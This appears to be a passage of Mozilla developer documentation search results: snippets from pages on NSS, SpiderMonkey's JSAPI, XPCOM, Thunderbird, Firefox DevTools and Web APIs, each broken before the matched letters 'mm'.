mmon functionality of the two decoders, before outlining their differences.
...however, this usage is strongly discouraged and we reco
mmend that you always use an arena pool even with sec_asn1decodeitem.
... see bug 175163 for more information about the reason for this reco
mmendation.
Overview of NSS
server products from oracle (formerly sun java enterprise system), including oracle co
mmunications messaging server and oracle directory server enterprise edition.
...rsa standard that governs co
mmunication with cryptographic tokens (such as hardware accelerators and smart cards) and permits application independence from specific algorithms and implementations.
... rsa, dsa, ecdsa, diffie-hellman, ec diffie-hellman, aes, triple des, des, rc2, rc4, sha-1, sha-256, sha-384, sha-512, md2, md5, hmac: co
mmon cryptographic algorithms used in public-key and sy
mmetric-key cryptography.
... nss comes with an extensive and growing set of documentation, including introductory material, api references, man pages for co
mmand-line tools, and sample code.
Network Security Services
documentation background information overview of nss provides a brief su
mmary of nss and its capabilities.
... nss ssl public functions su
mmarizes the ssl apis exported by the nss shared libraries.
... nss api guidelines explains how the libraries and code are organized, and guidelines for developing code (naming conventions, error handling, thread safety, etc.) nss technical notes links to nss technical notes, which provide latest information about new nss features and supplementary documentation for advanced topics in progra
mming with nss.
... of http download for ocsp tls cipher suite discovery nss certificate download specification fips mode - an explanation format of key log files view all nss-related articles on mdn planning information on nss planning can be found at wiki.mozilla.org, including: fips validation nss roadmap page nss improvement project co
mmunity view mozilla security forums...
Necko Architecture
necko has been designed to acco
mmodate pluggable protocols so developers can contribute their own protocol libraries that can be dynamically loaded and used by applications utilizing necko.
...urls are the most co
mmonly used form of a uri.
...to su
mmarize, the nsiioservice creates url instances.
... dependencies necko requires the following libraries for linking: nspr xpcom original document information author(s): jud valeski last updated date: november 8, 1999 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details.
Installing Pork
the reco
mmended version of gcc is gcc 4.2.
... build and install mcpp mcpp generates macro expansion co
mments that allow pork's elsa to undo macros, which is necessary in order to get exact position information.
...instead, make sure the co
mmands will be found on the path, as above.
... hg clone http://hg.mozilla.org/rewriting-and-analysis/pork/ cd pork hg clone http://hg.mozilla.org/rewriting-and-analysis/elsa ./configure make building mozilla with mcpp to build mozilla with mcpp to generate annotated .ii files, use the following configure co
mmand: ac_cv_visibility_hidden=no cc="gcc34 -save-temps -wp,-w0,-k" cxx="g++ -save-temps -wp,-w0,-k" cppflags=-dns_disable_literal_template $srcdir/configure --enable-debug --disable-optimize --disable-accessibility --enable-application=browser --disable-crashreporter building will probably require disabling warnings_as_errors: make warnings_as_errors= "-wp,-w0,-k" are options that get passed ...
Rhino Debugger
console window the debugger redirects the system.out, system.in, and system.err streams to an internal javascript console window which provides an editable co
mmand line for you to enter javascript code and view system output.
... the console window maintains a history of the co
mmands you have entered.
... evaluation window the evaluate pane located in the lower-right (dockable) pane in the debugger main window contains an editable co
mmand line where you may enter arbitrary javascript code.
...the window maintains a history of the co
mmands you have entered.
GC Rooting Guide
like a reference, a js::handle is i
mmutable: it can only ever refer to the js::rooted<t> that it was created for.
... these do not need to be wrapped in any of rooting classes, but they should be i
mmediately used to initialize a js::rooted<t> if there is any code that could gc before the end of the containing function; a raw pointer must never be stored on the stack during a gc.
...the simplest approach is to use js::persistentrooted (usable on anything with a trace method with the appropriate signature): js::persistentrooted<myowningstruct> i
mmortalstruct; but note that js::persistentrooted in a struct or class is a rather dangerous thing to use -- it will keep a gc thing alive, and most gc things end up keeping their global alive, so if your class/struct is reachable in any way from that global, then nothing will ever be cleaned up by the gc.
... su
mmary use js::rooted<t> typedefs for local variables on the stack.
Exact Stack Rooting
for this reason it is highly reco
mmended that this rooting mechanism only be used on the cstack.
... there is also a static constructor method fro
mmarkedlocation() that creates a handle from an arbitrary location.
...every use of these should be co
mmented to explain why they are guaranteed to be rooted.
... rootedobject obj(cx, js_newobject(cx, clasp, nullptr(), nullptr()); co
mmon pitfalls the c++ type system allows us to eliminate the possibility of most co
mmon errors; however, there are still a few things that you can get wrong that the compiler cannot help you with.
JSAPI Cookbook
this article shows the jsapi equivalent for a tiny handful of co
mmon javascript idioms.
... */ js::callargs args = js::callargsfromvp(argc, vp); args.rval().setint32(23); return true; returning a floating-point number // javascript return 3.14159; /* jsapi */ js::callargs args = js::callargsfromvp(argc, vp); args.rval().setdouble(3.14159); exception handling throw the most co
mmon idiom is to create a new error object and throw that.
...exception(cx); /* do error-handling stuff here */ return true; finally // javascript try { foo(); bar(); } finally { cleanup(); } if your c/c++ cleanup code doesn't call back into the jsapi, this is straightforward: /* jsapi */ bool success = false; if (!js_callfunctionname(cx, global, "foo", 0, null, &r)) goto finally_block; /* instead of returning false i
mmediately */ if (!js_callfunctionname(cx, global, "bar", 0, null, &r)) goto finally_block; success = true; /* intentionally fall through to the finally block.
... /* jsapi */ bool success = false; if (!js_callfunctionname(cx, global, "foo", 0, null, &r)) goto finally_block; /* instead of returning false i
mmediately */ if (!js_callfunctionname(cx, global, "bar", 0, null, &r)) goto finally_block; success = true; /* intentionally fall through to the finally block.
JS::CompileOptions
description in the most co
mmon use case, a compileoptions instance is allocated on the stack, and holds non-owning references to non-pod option values: strings; principals; objects; and so on.
...for example, js::compileoffthread needs to save compilation options where a worker thread can find them, and then return i
mmediately.
... so, we have a class hierarchy that reflects these three use cases: readonlycompileoptions is the co
mmon base class.
... readonlycompileoptions readonlycompileoptions is the co
mmon base class for the compileoptions hierarchy.
Setting up CDT to work on SpiderMonkey
the initial build was in clang, so the modified build co
mmands look like this: mkdir _dbg.obj cd _dbg.obj cc='clang -qunused-arguments -fcolor-diagnostics' cxx='clang++ -qunused-arguments -fcolor-diagnostics' \ ../configure --enable-debug --disable-optimize --enable-debug-symbols note: if you want to use ccache, you can enable it by adding --with-ccache to the arguments list.
... under the "builder settings" group tab, deactivate "use default build co
mmand".
... instead, change "build co
mmand" to read make -w (this is required because cdt needs detailed information about which directories make operates on, which using -w causes make to provide).
...under the "providers" group tab, select "cdt gcc build output parser" and add the string |(ccache) to the end of the "compiler co
mmand pattern" text input.
TPS Tests
a test file may contain an arbitrary number of sections, each involving the same or different profiles, so that one test file may be used to test the effect of syncing and modifying a co
mmon set of data (from a single sync account) over a series of different events and clients.
...additionally, note that the config file must parse as valid json, and so you can't have co
mments in it (sorry, i know this is annoying).
... co
mment out the goquitapplication() calls in services/sync/tps/extensions/tps/modules/tps.jsm (remember to undo this later!).
... it's co
mmon for the phase after the problem to be the one reporting errors (e.g.
compare-locales
if you want to test the localization for de, run $ compare-locales browser/locales/l10n.toml ./l10n/ de to check mobile, replace the previous line with: $ compare-locales mobile/android/locales/l10n.toml ./l10n/ zh-tw to check mail, suite, calendar that lives on co
mm-central, you can either rely on the check-out of mozilla within co
mm-central repository that the regular co
mm-central build instructions generate: $ compare-locales ./co
mm-central/mail/locales/l10n.toml ./l10n/ zh-tw if you don't want to use a copy of mozilla-central in co
mm-central, you can run them separately: $ compare-locales -dmozilla=$pwd/mozilla-central co
mm-central/mail/locales/l10n.
... ab-cd browser chrome/browser browser.dtd +backforwardmenu.tooltip +fullzoomenlargecmd.co
mmandkey3 +fullzoomreducecmd.co
mmandkey2 +fullzoomresetcmd.co
mmandkey2 +organizebookmarks.label -showallbookmarkscmd2.label migration/migration.dtd -importfromfile.accesskey -importfromfile.label +importfromhtmlfile.accesskey +importfromhtmlfile.label you can assume changed strings when you see entities removed a...
... the output closes with a su
mmary, giving the total counts of missing and obsolete strings and words, and some statistics on how many strings are changed or not, excluding access- and co
mmandkeys.
... pass --json to get just the su
mmary in json format.
Mozilla Projects
scripting for midas is based on the dhtml co
mmands supported by internet explorer.
...these operations include setting up an ssl connection, object signing and signature verification, certificate management (including issuance and revocation), and other co
mmon pki functions.
... shumway this article will help you understand shumway — mozilla's open standards-based flash renderer — and what it means for the co
mmunity of developers currently creating the adobe flash platform.
... it is completely free, open source and can be included in any tool whether open or closed, free or co
mmercial.
Using RAII classes in Mozilla
ensuring raii classes are not used as temporaries a co
mmon mistake when using raii classes is to accidentally forget to name object, which causes its scope to be different from what is intended.
... for example, instead of writing: autolock lock(
mmutex); which causes the lock to be held until the end of the block, one might write: autolock(
mmutex); which erroneously causes the lock to be released at the end of the statement.
... in the co
mmon case, using these macros involves these three additions to a class: class moz_raii nsautoscriptblocker { public: explicit nsautoscriptblocker(jscontext *cx moz_guard_object_notifier_param) { // note: no ',' before macro moz_guard_object_notifier_init; nscontentutils::addscriptblocker(cx); } ~nsautoscriptblocker() { nscontentutils::removescriptblocker(); } private: moz_dec...
...(this is needed because the macro adds a parameter only when debug is defined, and in this case, it can't add the leading co
mma.) class moz_raii nsautoscriptblocker { public: explicit nsautoscriptblocker(moz_guard_object_notifier_only_param) { moz_guard_object_notifier_init; nscontentutils::addscriptblocker(); } ~nsautoscriptblocker() { nscontentutils::removescriptblocker(); } private: moz_decl_use_guard_object_notifier }; second, if the constructor is not inline, it needs the parameter added in ...
Signing Mozilla apps for Mac OS X
the codesign tool apple provides a tool called codesign; this co
mmand-line application is used to add a signature to an application bundle.
...you can find it by running this co
mmand in the terminal: openssl x509 -text -noout -inform der -in devloperid_application.cer | grep subject putting it all together, you'll wind up using a co
mmand similar to the one below to sign your app.
...\ --requirements '=designated => identifier "org.you.yourapp" and ( (anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] ) or (anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] and certificate leaf[field.1.2.840.113635.100.6.1.13] and certificate leaf[subject.ou] = "43aq936h96"))' \ application.app or if you're using v2 signing, the co
mmand might look like this: codesign -s mac-testing -fv --deep \ --keychain /users/user/library/keychains/mykeychain.keychain \ --requirements '=designated => ( (anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] ) or (anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] and certificate leaf[field.1.2.840.113635.100.6.1.13] and certificate ...
...leaf[subject.ou] = "43aq936h96"))' \ application.app depending on your keychain preferences, the codesign co
mmand may display a popup asking for the password for the specified keychain.
Places utilities for JavaScript
there are several predefined versions of this for co
mmon calls.
...sidomevent aevent); void createmenuitemfornode(nsinavhistoryresultnode anode, acontainersmap); constants mimetypes type_x_moz_place_container type_x_moz_place_separator: "text/x-moz-place-separator", type_x_moz_place: "text/x-moz-place", type_x_moz_url: "text/x-moz-url", type_html: "text/html", type_unicode: "text/unicode", services there's easy access to some of the co
mmon services used in bookmarks or history navigation here.
... bookmarks nsinavbookmarksservice history nsinavhistoryservice globalhistory nsibrowserhistory livemarks nsilivemarkservice annotations nsiannotationservice favicons nsifaviconservice microsu
mmaries nsimicrosu
mmaryservice tagging nsitaggingservice rdf nsirdfservice ptm nsiplacestransactionsservice clipboard nsiclipboard urifixup nsiurifixup special places these are essentially references to the id's of special folders within places.
...this will be called most often as the result of a "bookmark all tabs..." co
mmand.
Aggregating the In-Memory Datasource
this preserves the sy
mmetrical property of queryinterface().
... for us to preserve sy
mmetry, our queryinterface() implementation needs to forward nsirdfdatasource to the delegate3: ns_imethodimp myclass::queryinterface(refnsiid aiid, void** aresult) { ns_precondition(aresult != nsnull, "null ptr"); if (!
...there is some trickery involved on the delegate's part to ensure that reference counting is done sanely, and that the reflexive, sy
mmetric, and transitive properties of queryinterface() are preserved.
... if you're really interested, i'd reco
mmend reading about it in a com book.
Component Internals
the most co
mmon type of component is one that is written in c++ and compiled into a shared library (a dll on a windows system or a dso on unix).
...as this section and the next describe, you can register your component explicitly during installation, or with the regxpcom program, or you can use the autoregistration methods in the service manager to find and register components in a specified components directory: xpinstall apis regxpcom co
mmand-line tool nsicomponentregistrar apis from service manager the registration process is fairly involved.
...unless an interface is explicitly marked "frozen" in the idl co
mments, your component may possibly break or crash along with a version change.
...however, there are some unfrozen tools in xpcom that are used so often they are practically required parts of component progra
mming.
Creating the Component Code
when it is copied there, run regxpcom from the co
mmand line to register that component and all the others in that directory.
...uuidgen is a co
mmand-line tool that returns a unique 128-bit number when you call it with no arguments: $ uuidgen ce32e3ff-36f8-425f-94be-d85b26e634ee on windows, a program called guidgen.exe does the same thing and also provides a graphical user interface if you'd rather point and click.
... irc irc.mozilla.org /join #developers /msg firebot uuid this co
mmand makes the bot generate and return a uuid, which you can then copy into your component source code.
... the component manager is an interface implemented by xpcom that encapsulates the creation of objects and provides su
mmary information about all registered components.
Finishing the Component
the marking is made in the co
mments above the interface declaration.
... weblock interfaces interface name defined by status su
mmary nsisupports xpcom frozen provides interface discovery, and object reference counting nsiobserver xpcom frozen allows messaging passing between objects nsicontentpolicy content not frozen interface for policy control mechanism iweblock web lock not frozen enables and disables weblock.
...if the scheme isn't "http", "https", or "ftp", it i
mmediately returns true, which continues the loading process unblocked.
...you can of course improve this backend in many ways, but this example presents the basic creation of what is co
mmonly referred to as a "browser helper object" like weblock.
Setting up the Gecko SDK
building a windows project this section is writting for those of you who do not wish to install visual studio or the express edition, allowing the user to be able to create co
mmercial extensions without buying the full version of visual studio and allowing them to use their own editors.
... environment setup you can create a batch file to set up the environment for you, but this example tells you from the co
mmand prompt.
... this allows you to created the component without sending any extra dlls set path=%path%;d:\projects\xulrunner-sdk\sdk\bin;d:\projects\xulrunner-sdk\bin this tells the co
mmand prompt where to find the gecko tools, importantly (xpidl, regxpcom, and gmake).
...for a listing of the co
mmands that appear in this listing, see the make manual.
xpcshell
it should be executed under the window co
mmand prompt source_directory/obj-xxxxx/dist/bin> xpcshell.exe using the latest version of javascript at present, xpcshell doesn't use the latest version of javascript, so newer language features, such as the let statement introduced in javascript 1.7, are not available.
... to rectify this, run xpcshell with the -v 180 co
mmand-line option, which tells xpcshell to use javascript 1.8.
...js> see also howto for co
mmon problems in writing xpcshell scripts, e.g., doing async network calls or using js modules.
... see the xpcshell reference for information on co
mmand line arguments and extension functions.
nsIAnnotationService
do not use characters that are not valid in urls such as spaces, ":", co
mmas, or most other symbols.
... do not use characters that are not valid in urls such as spaces, ":", co
mmas, or most other symbols.
... do not use characters that are not valid in urls such as spaces, ":", co
mmas, or most other symbols.
... do not use characters that are not valid in urls such as spaces, ":", co
mmas, or most other symbols.
nsIAppStartup
the application will be restarted with the same profile and an empty co
mmand line.
...the application will be restarted with an empty co
mmand line and the normal profile selection process will take place on startup.
... void ensure1window( in nsicmdlineservice acmdlineservice ); parameters acmdlineservice the co
mmand line from which startup args can be read.
...if there are no windows open and no outstanding calls to enterlastwindowclosingsurvivalarea() this method will exit i
mmediately.
nsICookieService
this parameter may be null, but it is strongly reco
mmended that a non-null value be provided to ensure that the cookie privacy preferences are honored.
...this parameter may be null, but it is strongly reco
mmended that a non-null value be provided to ensure that the cookie privacy preferences are honored.
...this parameter may be null, but it is strongly reco
mmended that a non-null value be provided to ensure that the cookie privacy preferences are honored.
...this parameter may be null, but it is strongly reco
mmended that a non-null value be provided to ensure that the cookie privacy preferences are honored.
nsIDOMEvent
void stopi
mmediatepropagation(); void stoppropagation(); attributes attribute type description bubbles boolean used to indicate whether or not an event is a bubbling event.
...it is also strongly reco
mmended that third parties adding their own events use their own prefix to avoid confusion and lessen the probability of conflicts with other new events.
...he xpcom interface guidelines serialize() void serialize( in ipcmessageptr amsg, in boolean aserializeinterfacetype ); parameters amsg aserializeinterfacetype native code only!settarget void settarget( in nsidomeventtarget atarget ); parameters atarget native code only!settrusted void settrusted( in boolean atrusted ); parameters atrusted stopi
mmediatepropagation() prevents other event listeners from being triggered and, unlike stoppropagation() its effect is i
mmediate.
... void stopi
mmediatepropagation(); parameters none.
nsIIOService
these are provided as a convenience to the progra
mmer and in some cases to improve performance by eliminating intermediate data structures and interfaces.
...in that case the principal of the stylesheet which contains the import co
mmand is the triggeringprincipal, and the principal of the document whose rendering is affected is the loadingprincipal.
...in that case the principal of the stylesheet which contains the import co
mmand is the triggeringprincipal, and the principal of the document whose rendering is affected is the loadingprincipal.
...in that case the principal of the stylesheet which contains the import co
mmand is the triggeringprincipal, and the principal of the document whose rendering is affected is the loadingprincipal.
nsILocalFileMac
xpcom/io/nsilocalfilemac.idlscriptable please add a su
mmary to this article.
...obsolete since gecko 1.9.2 boolean ispackage(); void launchwithdoc(in nsilocalfile adoctoload, in boolean alaunchinbackground); void opendocwithapp(in nsilocalfile aapptoopenwith, in boolean alaunchinbackground); void setfiletypeandcreatorfromextension(in string aextension); obsolete since gecko 1.9.2 void setfiletypeandcreatorfro
mmimetype(in string amimetype); obsolete since gecko 1.9.2 attributes attribute type description bundledisplayname astring returns the display name of the application bundle (usually the human readable name of the application) read only.
...void setfiletypeandcreatorfromextension( in string aextension ); parameters aextension setfiletypeandcreatorfro
mmimetype() obsolete since gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) sets the file type and creator code from a mime type.
...void setfiletypeandcreatorfro
mmimetype( in string amimetype ); parameters amimetype ...
nsITextInputProcessorNotification
types "request-to-co
mmit" this is required to be handled.
... when this is requested, the callback should co
mmit composition synchronously, i.e., nsitextinputprocessor.co
mmitcomposition() should be called.
... if the callback doesn't want to co
mmit the composition synchronously, it's okay to co
mmit it later (i.e., asynchronously).
... however, gecko will co
mmit the composition with the last composing string internally.
Getting Started Guide
probably the three most helpful books on this topic are the c++ progra
mming language by bjarne stroustrup, effective c++, and more effective c++ by scott meyers.
... it turns out that reference counting by hand is hard for progra
mmers to get right.
... nscomptr<nsifoo> foo; nsresult rv = bar->queryinterface(ns_get_iid(nsifoo), getter_addrefs(foo)); // or, if you're a savvy xpcom progra
mmer, // you use the type-safe version...
... su
mmary an nscomptr is an owning reference.
XPIDL Syntax
it is more focused on xpidl syntax and gra
mmar.
...end-of-line) co
mments are permitted between any two tokens.
... some productions can only occur at the beginning of lines; to simplify the gra
mmar, i will not mention them in the gra
mmar, especially since they are handled as a preprocessing step before the idl source code is actually parsed.
...note that includes within co
mments or raw code fragments are not processed by xpidl.
Adding items to the Folder Pane
each time the folder pane determines that it is necessary to invalidate all its data (because of too many changes, or more co
mmonly because the folder pane's "mode" (aka view) has changed), a "rebuild" occurs.
...over sessions text (attribute) the text to display in the tree level (attribute) the level in the tree to display the item at open (rw, attribute) whether or not this container is open children (attribute) an array of child items also conforming to this spec getproperties (function) a call from getrowproperties or getcellproperties for this item will be passed into this function co
mmand (function) this function will be called when the item is double-clicked for our example extension, two different types of folder-tree-items will be defined.
... level: 0, open: false, _children: null, get children() { if (!this._children) { this._children = []; for (var i = 1; i <= this._numbers; i++) this._children.push(new numberrow(i)); } return this._children; }, getproperties: function gne_getprops() { // put your css attributes here }, co
mmand: function gne_co
mmand() { // just going to alert, to do something here components.classes["@mozilla.org/embedcomp/prompt-service;1"] .getservice(components.interfaces.nsipromptservice) .alert(window, null, this.text); } }; second, our child items (the numbers 1, 2, and 3) are copies of the following prototype: function numberr...
...ow(anumber) { this._number = anumber; } numberrow.prototype = { get id() { return "numbers-child-row-" + this._number; }, get text() { return this._number; }, level: 1, open: false, children: [], getproperties: function gne_kid_getprops() {}, // no-op co
mmand: function gne_kid_co
mmand() { // just going to alert, to do something here components.classes["@mozilla.org/embedcomp/prompt-service;1"] .getservice(components.interfaces.nsipromptservice) .alert(window, null, this.text); } }; putting it all together all that is left at this point is to actually add these newly defined folder-tree-items to the folder pane's _rowmap at the appropriate time.
Thunderbird extensions
see co
mmunity / co
mmunications.
... ask in a co
mmunity co
mmunication channel on the right.
... an overview of thunderbird components developer reference docs: folder classes db views (message list) message su
mmary database mailnews protocols mailnews filters error reporting tools steel library (obsolete as of thunderbird 52, use https://github.com/protz/thunderbird-stdlib) developing new account types useful newsgroup discussions (anything that's very old should be regarded suspiciously, because there has been significant api rewrite over the pas...
...t years making most techniques considerably easier) thunderbird api docs (mostly a collection of out-of-date pages, relevance is rather dubious) general links finding the code for a feature mozillazine articles on thunderbird co
mmunity / co
mmunications thunderbird specific : add-ons section on developer.thunderbird.net thunderbird co
mmunication channels add-on developers forum/mailing list #maildev irc channel more general : mozillazine extension development forum general developer channels related topics xul, javascript, xpcom, themes, developing mozilla categori ...
Using the Multiple Accounts API
here's an example of a co
mmon setup.
...the preference is a co
mma-seperated list of preference "keys" such as "identity1,identity2".
... preference: mail.server.server.max_cached_connections - integer, max number of connections left open to the server preference: mail.server.server.empty_trash_threshhold integer, (should not be imap-specific) max k of wasted diskspace before we purge a folder preference: mail.server.server.delete_model - integer, delete model (move to trash, imap delete, purge i
mmediately, not sure of values) preference: mail.server.server.timeout - integer, number of minutes a connection is idle before we drop it preference: mail.server.server.capability - list of capabilities of this server preference: mail.server.server.namespace.public - the server's namespace for public folders preference: mail.server.server.namespace.personal - the server's namespace ...
... preference: mail.identity.identity.bcc_other_list - co
mma-seperated list of other addresses to bcc preference: mail.identity.identity.draft_folder - uri of folder to use for drafts preference: mail.identity.identity.stationary_folder - uri of folder to use for stationary (called templates in 4.x) preference: mail.identity.identity.spam_folder - uri of folder to use for spam (i think this is cut) ...
Thunderbird
thunderbird is a mail/messaging application managed and developed by the thunderbird co
mmunity.
...(from early 2007 to early 2011 thunderbird was developed by mozilla messaging, a subsidiary owned by mozilla.) documentation building thunderbird information about building thunderbird with the co
mm-central repository.
... co
mmunity thunderbird product home page thunderbird project co
mmunity pages user support is handled at mozilla support development discussion happens on the tb-planning mailing list: subscribe archives add-on developers forum/mailing list mozillazine forums mozilla messaging web page #thunderbird on irc.mozilla.org (for ...
...users) #maildev on irc.mozilla.org (for developers) a list of all thunderbird co
mmunication channels ...
Using the Mozilla symbol server
to use only the mozilla symbol server, add the following entry to your symbol path (note: you can replace c:\symcache\ with any writable directory on your computer, if you'd prefer a different location for downloaded symbols): srv*c:\symcache\*https://symbols.mozilla.org/ set this string as _nt_symbol_path in the environment, using the windbg menus, or by typing the .sympath co
mmand.
...the co
mmand should look like this (again, you can replace c:\symcache\ with any writable directory on your computer, if you'd prefer a different location for downloaded symbols): c:\program files\mozilla firefox>c:\progra~1\debugg~1\symchk.exe /r c:\progra~1\mozill~1\* /s srv*c:\symcache\*https://symbols.mozilla.org/ note the \* after the mozilla directory.
... the output of this co
mmand should be similar to: symchk: fullsoft.dll failed - image is split correctly, but fullsoft.dbg is missing symchk: qfaservices.dll failed - qfaservices.pdb mismatched or not found symchk: talkback.exe failed - built without debugging information.
...even using the co
mmand line with symchk.exe to download symbols will fail.
Zombie compartments
so it's co
mmon for multiple compartments to be created for a single web page.
... some zombie compartments stick around for a limited time before disappearing, others are i
mmortal, and it's useful to know which is which.
... proactive checking of add-ons it's not unco
mmon for add-ons to cause zombie compartments, see bug 700547 for examples.
... see co
mmon causes of memory leaks in extensions for things to avoid.
Using COM from js-ctypes
for co
mmunication between the different windows applications among themselves, microsoft has developed a series of technologies alongside the main windows api.
... basis and reference for this article bugzilla :: bug 738501 - implement ability to create windows shortcuts from javascript - co
mment 4 relavent topic bugzilla :: bug 505907 - support c++ calling from jsctypes converting com code to c code to convert com code to js-ctypes, we need to write c++ vtable pointers in c.
... iid_ispvoice, (void**)&pvoice); if (succeeded(hr)) { pvoice->speak(l"hello, firefox!", spf_default, null); pvoice->release(); } } // msdn documentation says that even if coinitalize fails, counitialize // must be called couninitialize(); return 0; } to run the code, save it as test.cpp, and run following co
mmand in the directory (needs visual studio).
...&iid_ispvoice, (void**)&pvoice); if (succeeded(hr)) { pvoice->lpvtbl->speak(pvoice, l"hello, firefox!", 0, null); pvoice->lpvtbl->release(pvoice); } } // msdn documentation says that even if coinitalize fails, counitialize // must be called couninitialize(); return 0; } to run the code, save it as test.c, and run following co
mmand in the directory.
Using Objective-C from js-ctypes
while ([synth isspeaking]) {} [synth release]; return 0; } save this file as test.m, and run with the following co
mmand, inside the same directory as the saved file (needs xcode).
... // [synth isspeaking] while (objc_msgsend(synth, isspeaking)) {} sel release = sel_registername("release"); // [synth release]; objc_msgsend(synth, release); // [text release]; objc_msgsend(text, release); return 0; } to run this code, save it as test.c, and run the following co
mmand in the same directory.
...reading the apple developer :: progra
mming with objective-c - working with blocks you can learn more about blocks.
... */ // apple docs :: working with blocks - https://developer.apple.com/library/ios/documentation/cocoa/conceptual/progra
mmingwithobjectivec/workingwithblocks/workingwithblocks.html var _nsconcreteglobalblock = ctypes.open(ctypes.libraryname('objc')).declare('_nsconcreteglobalblock', ctypes.voidptr_t); // //github.com/realityripple/uxp/blob/master/js/src/ctypes/library.cpp?offset=0#271 /** * the "block descriptor" is a static singleton struct.
Examine and edit CSS - Firefox Developer Tools
:-moz-number-spin-down :-moz-number-spin-up :-moz-number-text :-moz-number-wrapper :-moz-placeholder :-moz-progress-bar :-moz-range-progress :-moz-range-thumb :-moz-range-track :-moz-selection if the selected element has pseudo-elements applied to it, they are displayed before the selected element but hidden by a disclosure triangle: clicking the triangle displays them: viewing co
mmon pseudo-classes there's a button to the right of the filter box: click the button to see checkboxes that you can use to enable the :hover, :active and :focus, :focus-within and :visited pseudo-classes for the selected element: this feature can also be accessed from the popup menu in the html view.
... edit rules if you click on a declaration or a selector in the rules view you can edit it and see the results i
mmediately.
...the default choice is the most co
mmon property that starts with the letters you've typed.
... the copy rule co
mmand copies the entire element, class, or id definition, including any unchanged rules and the rules that describe your changes.
Settings - Firefox Developer Tools
it makes visible the co
mmand line and one or two lines of the console output.
...to see the settings, open any of the developer tools, and then: click the "settings" co
mmand in the menu: or press f1 to toggle between the active tool and the settings pane the settings pane looks something like this: categories default firefox developer tools this group of checkboxes determines which tools are enabled in the toolbox.
... there's a light theme, which is the default: a dark theme: co
mmon preferences settings that apply to more than one tool.
... if co
mmon preferences is not included in the settings, web console logs can be persisted by using the 'about:config' url in browser address bar, searching for: 'devtools.webconsole.persistlog' then toggling this value to true inspector show browser styles a setting to control whether styles applied by the browser (user-agent styles) should be displayed in the inspector's rules view.
Web console keyboard shortcuts - Firefox Developer Tools
co
mmand windows macos linux open the web console ctrl + shift + k cmd + opt + k ctrl + shift + k search in the message display pane ctrl + f cmd + f ctrl + f open the object inspector pane ctrl + click ctrl + click ctrl + click clear the object inspector pane esc esc esc focus on the co
mmand line ctrl + shift + k cmd + opt + k ctrl + shift + k clear output ctrl + shift + l ctrl + l from firefox 67: cmd + k ctrl + shift + l co
mmand line interpreter these shortcuts apply when you're in the co
mmand line interpreter.
... co
mmand windows macos linux scroll to start of console output (only if the co
mmand line is empty) home home home scroll to end of console output (only if the co
mmand line is empty) end end end page up through console output page up page up page up page down through console output page down page down page down go backward through co
mmand history up arrow up arrow up arrow go forward through co
mmand history down arrow down arrow down arrow initiate reverse search through co
mmand history/step backwards through matching co
mmands f9 ctrl + r f9 step forward through matching co
mmand history (after initiating reverse search) shift + f9 ctrl...
...eginning of the line home ctrl + a ctrl + a move to the end of the line end ctrl + e ctrl + e execute the current expression enter return enter add a new line, for entering multiline expressions shift + enter shift + return shift + enter autocomplete popup these shortcuts apply while the autocomplete popup is open: co
mmand windows macos linux choose the current autocomplete suggestion tab tab tab cancel the autocomplete popup esc esc esc move to the previous autocomplete suggestion up arrow up arrow up arrow move to the next autocomplete suggestion down arrow down arrow down arrow page up through autocomplete suggestions ...
... co
mmand windows macos linux increase font size ctrl + + cmd + + ctrl + + decrease font size ctrl + - cmd + - ctrl + - reset font size ctrl + 0 cmd + 0 ctrl + 0 ...
Web Console UI Tour - Firefox Developer Tools
message display pane this is where the messages appear, both those generated by the code in the page, and those generated by the co
mmands entered on the co
mmand line.
... note: you can clear the contents of the console by entering the keyboard co
mmand ctrl + shift + l (windows, macos, and linux) or cmd + k on macos.
... co
mmand line the co
mmand line starts with double angle brackets (>>).
... in firefox 71 onwards, there is a new "split pane" icon on the right hand side of the co
mmand line — clicking this will open the new console multi-line mode.
Web Console remoting - Firefox Developer Tools
for co
mmunication between the server and the client we use the remote debugging protocol.
... to better understand the architecture of the web console we reco
mmend learning about the debugger architecture.
...", "postdata": { text: "foobar" }, "postdatadiscarded": false } the getresponsecontent packet: { "to": "conn0.netevent15", "type": "getresponsecontent" } { "from": "conn0.netevent15", "content": { "mimetype": "text/css", "text": "\n@import \"test.css\";\n\n.foobar { color: green }\n\n" }, "contentdiscarded": false } the request and response content text value is most co
mmonly sent using a longstringactor grip.
... conclusions as of this writing, this document is a dense su
mmary of the work we did in bug 768096 and subsequent changes.
Firefox Developer Tools
if you have any feedback on devtools, or want to contribute to the project, you can join the devtools co
mmunity.
... the ellipsis menu on the right-hand side of developer tools contains several co
mmands that let you perform actions or change tool settings.
...the menu also includes links to the documentation for firefox web tools and the mozilla co
mmunity.
... get involved our co
mmunity website explains how to get involved.
AbortSignal - Web APIs
the abortsignal interface represents a signal object that allows you to co
mmunicate with a dom request (such as a fetch) and abort it if required via an abortcontroller object.
... abortsignal.aborted read only a boolean that indicates whether the request(s) the signal is co
mmunicating with is/are aborted (true) or not (false).
... abort invoked when the dom request(s) the signal is co
mmunicating with is/are aborted.
... specifications specification status co
mment domthe definition of 'abortsignal' in that specification.
AesGcmParams - Web APIs
the aes-gcm specification reco
mmends that the iv should be 96 bits long, and typically contains bits from a random number generator.
...the aes-gcm specification reco
mmends that it should be 96, 104, 112, 120 or 128, although 32 or 64 bits may be acceptable in some applications: appendix c of the specification provides additional guidance here.
... specifications specification status co
mment web cryptography apithe definition of 'subtlecrypto.aesgcmparams' in that specification.
... reco
mmendation ...
Animation.play() - Web APIs
two animation.play()s, one eventlistener: // the cake has its own animation: var no
mmingcake = document.getelementbyid('eat-me_sprite').animate( [ { transform: 'translatey(0)' }, { transform: 'translatey(-80%)' } ], { fill: 'forwards', easing: 'steps(4, end)', duration: alicechange.effect.timing.duration / 2 }); // pause the cake's animation so it doesn't play i
mmediately.
... no
mmingcake.pause(); // this function will play when ever a user clicks or taps var growalice = function() { // play alice's animation.
... no
mmingcake.play(); } // when a user holds their mouse down or taps, call growalice to make all the animations play.
... cake.addeventlistener("mousedown", growalice, false); cake.addeventlistener("touchstart", growalice, false); specifications specification status co
mment web animationsthe definition of 'play()' in that specification.
AudioTrack.kind - Web APIs
"co
mmentary" an audio track containing a co
